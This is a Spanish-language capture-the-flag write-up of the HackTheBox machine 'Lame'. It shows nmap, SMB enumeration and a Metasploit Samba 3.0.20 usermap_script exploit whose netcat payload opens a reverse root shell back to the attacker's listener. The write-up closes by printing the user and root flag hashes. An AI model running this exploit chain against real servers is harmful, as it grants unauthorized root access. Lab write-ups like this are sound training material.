

Ping de reconocimiento inicial:

```
L$ ping 10.10.10.3
PING 10.10.10.3 (10.10.10.3) 56(84) bytes of data.
64 bytes from 10.10.10.3: icmp_seq=1 ttl=63 time=606 ms
64 bytes from 10.10.10.3: icmp_seq=2 ttl=63 time=641 ms
64 bytes from 10.10.10.3: icmp_seq=3 ttl=63 time=621 ms
64 bytes from 10.10.10.3: icmp_seq=4 ttl=63 time=701 ms
^C
— 10.10.10.3 ping statistics —
4 packets transmitted, 4 received, 0% packet loss, time 3002ms
rtt min/avg/max/mdev = 605.945/642.318/701.086/36.193 ms
```

Escáner de puertos con NMAP: (22,21,445,139)

```

$ sudo nmap -p- -n --min-rate 5000 -Pn -sV -sC -vvv 10.10.10.3 -oN target.txt
[sudo] contraseña para jouker:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-17 21:27 CET
NSE: Loaded 157 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 21:27
Completed NSE at 21:27, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 21:27
Completed NSE at 21:27, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 21:27
Completed NSE at 21:27, 0.00s elapsed
Initiating SYN Stealth Scan at 21:27
Scanning 10.10.10.3 [65535 ports]
Discovered open port 22/tcp on 10.10.10.3
Discovered open port 445/tcp on 10.10.10.3
Discovered open port 21/tcp on 10.10.10.3
Discovered open port 139/tcp on 10.10.10.3

```

```

PORT      STATE SERVICE      REASON          VERSION
21/tcp    open  ftp          syn-ack ttl 63 vsftpd 2.3.4
|_ ftp-syst:
|_ STAT:
|_ FTP server status:
|_   Connected to 10.10.16.5
|_   Logged in as ftp
|_   TYPE: ASCII
|_   No session bandwidth limit
|_   Session timeout in seconds is 300
|_   Control connection is plain text
|_   Data connections will be plain text
|_   vsFTPd 2.3.4 - secure, fast, stable
|_ End of status
|_ ftp-anon: Anonymous FTP login allowed (FTP code 230)

```

Tenemos FTP con anonymous para entrar, vamos a observar que hay dentro.

Exploit Title	Path
vsftpd 2.0.5 - 'CWD' (Authenticated) Remote Memory Consumption	linux/dos/5814.pl
vsftpd 2.0.5 - 'deny_file' Option Remote Denial of Service (1)	windows/dos/31818.sh
vsftpd 2.0.5 - 'deny_file' Option Remote Denial of Service (2)	windows/dos/31819.pl
vsftpd 2.3.2 - Denial of Service	linux/dos/416378.c
vsftpd 2.3.4 - Backdoor Command Execution	unix/remote/49757.py
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)	unix/remote/17491.rb

He visto tambien samba abierto, voy a ver si mediante enum4linux encuentro alguna cosa, aunque creo que el exploit va por el vsftpd

```
(jouker@joukerm)-[~]
$ enum4linux 10.10.10.3
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Mon Feb 17 21:40:00 2025

===== ( Target Information ) =====

Target ..... 10.10.10.3
RID Range ..... 500-550,1000-1050
Username ..... ''
Password ..... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none

===== ( Enumerating Workgroup/Domain on 10.10.10.3 ) =====
```

Parece que no permite el uso, o que he ejecutado mal la comanda

```
[E] Server doesn't allow session using username '', password ''. Aborting remainder of tests.
```

Con SMBCLIENT vemos el archivo tmp con un oh noes! sospechoso

```
(jouker@joukerm)-[~]
$ smbclient -L //10.10.10.3
Password for [WORKGROUP\jouker]:
Anonymous login successful

      Sharename      Type      Comment
      -----
tstream_smbXcli_np_destructor: cli_close failed on pipe srvsvc. Error was NT_STATUS_IO_TIMEOUT
print$              Disk      Printer Drivers
tmp                  Disk      oh noes!
opt                  Disk
IPC$                  IPC       IPC Service (lame server (Samba 3.0.20-Debian))
ADMIN$                IPC       IPC Service (lame server (Samba 3.0.20-Debian))
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.3 failed (Error NT_STATUS_IO_TIMEOUT)
Unable to connect with SMB1 -- no workgroup available
```

con smbmap vemos los permisos que tenemos dentro, tenemos permisos de lectura i escritura

```
(jouker@joukerm)-[~]
$ smbmap -H 10.10.10.3 -u "" -p ""

SMBMap - Samba Share Enumerator v1.10.5 | Shawn Evans - ShawnDEvans@gmail.com
https://github.com/ShawnDEvans/smbmap

[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 1 authenticated session(s)

[+] IP: 10.10.10.3:445 Name: 10.10.10.3 Status: Authenticated
Disk
Permissions Comment
print$ NO ACCESS Printer Drivers
tmp READ, WRITE oh noes!
opt NO ACCESS
IPC$ NO ACCESS IPC Service (lame server (Samba 3.0.20-Debian))
ADMIN$ NO ACCESS IPC Service (lame server (Samba 3.0.20-Debian))
[*] Closed 1 connections
```

Una vez dentro vemos archivos muy raros, yo creo que hemos sido victimas de un rabbit hole

```
(jouker@joukerm)-[~]
$ smbclient //10.10.10.3/tmp -N
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> ls -l
NT_STATUS_NO_SUCH_FILE listing \-l
smb: \> ls
. D 0 Mon Feb 17 21:51:17 2025
.. DR 0 Sat Oct 31 08:33:58 2020
5569.jsvc_up R 0 Mon Feb 17 21:27:35 2025
.ICE-unix DH 0 Mon Feb 17 21:26:33 2025
vmware-root DR 0 Mon Feb 17 21:26:52 2025
.X11-unix DH 0 Mon Feb 17 21:27:00 2025
.X0-lock HR 11 Mon Feb 17 21:27:00 2025
vgauthsvclg.txt.0 R 1600 Mon Feb 17 21:26:31 2025

7282168 blocks of size 1024. 5386548 blocks available
smb: \>
```

```
(jouker@joukerm)-[~/Escritorio/temporal]
$ cat .X0-lock
5630

(jouker@joukerm)-[~/Escritorio/temporal]
$ cat vgauthsvclg.txt.0
[Feb 17 15:26:31.331] [ message] [VGAuthService] VGAuthService 'build-4448496' logging at level 'normal'
[Feb 17 15:26:31.331] [ message] [VGAuthService] Pref_LogAllEntries: 1 preference groups in file '/etc/vmware-tools/vgauth.conf'
[Feb 17 15:26:31.331] [ message] [VGAuthService] Group 'service'
[Feb 17 15:26:31.331] [ message] [VGAuthService] samlSchemaDir=/usr/lib/vmware-vgauth/schemas
[Feb 17 15:26:31.331] [ message] [VGAuthService] Pref_LogAllEntries: End of preferences
[Feb 17 15:26:31.366] [ message] [VGAuthService] VGAuthService 'build-4448496' logging at level 'normal'
[Feb 17 15:26:31.366] [ message] [VGAuthService] Pref_LogAllEntries: 1 preference groups in file '/etc/vmware-tools/vgauth.conf'
[Feb 17 15:26:31.366] [ message] [VGAuthService] Group 'service'
[Feb 17 15:26:31.366] [ message] [VGAuthService] samlSchemaDir=/usr/lib/vmware-vgauth/schemas
[Feb 17 15:26:31.366] [ message] [VGAuthService] Pref_LogAllEntries: End of preferences
[Feb 17 15:26:31.366] [ message] [VGAuthService] Cannot load message catalog for domain 'VGAuthService', language 'C', catalog dir '.'.
[Feb 17 15:26:31.366] [ message] [VGAuthService] INIT SERVICE
[Feb 17 15:26:31.366] [ message] [VGAuthService] Using '/var/lib/vmware/VGAuth/aliasStore' for alias store root directory
[Feb 17 15:26:31.493] [ message] [VGAuthService] SAMLCreateAndPopulateGrammarPool: Using '/usr/lib/vmware-vgauth/schemas' for SAML schemas
[Feb 17 15:26:31.574] [ message] [VGAuthService] SAML_Init: Allowing 300 of clock skew for SAML date validation
[Feb 17 15:26:31.574] [ message] [VGAuthService] BEGIN SERVICE
```

Fijandonos en el reporte de NMAP previo podemos ver que la versión

de samba es vieja, por lo que abriendo metasploit voy a mirar que tan vulnerable es la máquina para hacer el ataque ya que se ve que hay un exploit para esa versión específicamente.

```
umsf6 : search samba 3.0.20
Matching Modules
# Name KTHEBOX Disclosure Date Rank Check Description
0 exploit/multi/samba/usermap_script 2007-05-14 excellent No Samba "username map script" Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/samba/usermap_script

msf6 > use 0
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(multi/samba/usermap_script) > show options

Module options (exploit/multi/samba/usermap_script):

Name Current Setting Required Description
-----
CHOST The local client address
CPORT The local client port
Proxies A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 139 The target port (TCP)

Payload options (cmd/unix/reverse_netcat):

Name Current Setting Required Description
-----
LHOST 192.168.1.140 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port

Exploit target:

Id Name
--
0 Automatic

View the full module info with the info, or info -d command.

msf6 exploit(multi/samba/usermap_script) > set RHOSTS 10.10.10.3
RHOSTS => 10.10.10.3
msf6 exploit(multi/samba/usermap_script) > set LHOST 10.10.16.5
LHOST => 10.10.16.5
msf6 exploit(multi/samba/usermap_script) > run
[*] Started reverse TCP handler on 10.10.16.5:4444
[*] Command shell session 1 opened (10.10.16.5:4444 -> 10.10.10.3:44718) at 2025-02-17 22:09:01 +0100
```

Directamente nos convertimos en root sin necesidad de escalada de privilegios, osea toda la parte de FTP y samba anonymous era una trampa sin más.

FLAGS de root y de user.txt

```
[*] Started reverse TCP handler on 10.10.16.5:4444
[*] Command shell session 1 opened (10.10.16.5:4444 -> 10.10.10.3:44718) at 2025-02-17 22:09:01 +0100

whoami
root
```

```
total 16
drwxr-xr-x 2 root    nogroup 4096 Mar 17  2010 ftp
drwxr-xr-x 2 makis   makis   4096 Mar 14  2017 makis
drwxr-xr-x 2 service service 4096 Apr 16  2010 service
drwxr-xr-x 3 1001    1001    4096 May  7  2010 user
cd user
ls -l
total 0
ls
cd ..
cd ftp
ls -
ls: cannot access -: No such file or directory
ls -l
total 0
cd ..
cd makis
ls
user.txt
cat user.txt
14f66e508f8de6785cc9badebdbc1465
```

```
cd ..
cd makis
ls
user.txt
cat user.txt
14f66e508f8de6785cc9badebdbc1465
cd /root
ls
Desktop
reset_logs.sh
root.txt
vnc.log
cat root.txt
8b2923662d4f22df70dc313edff690a7
```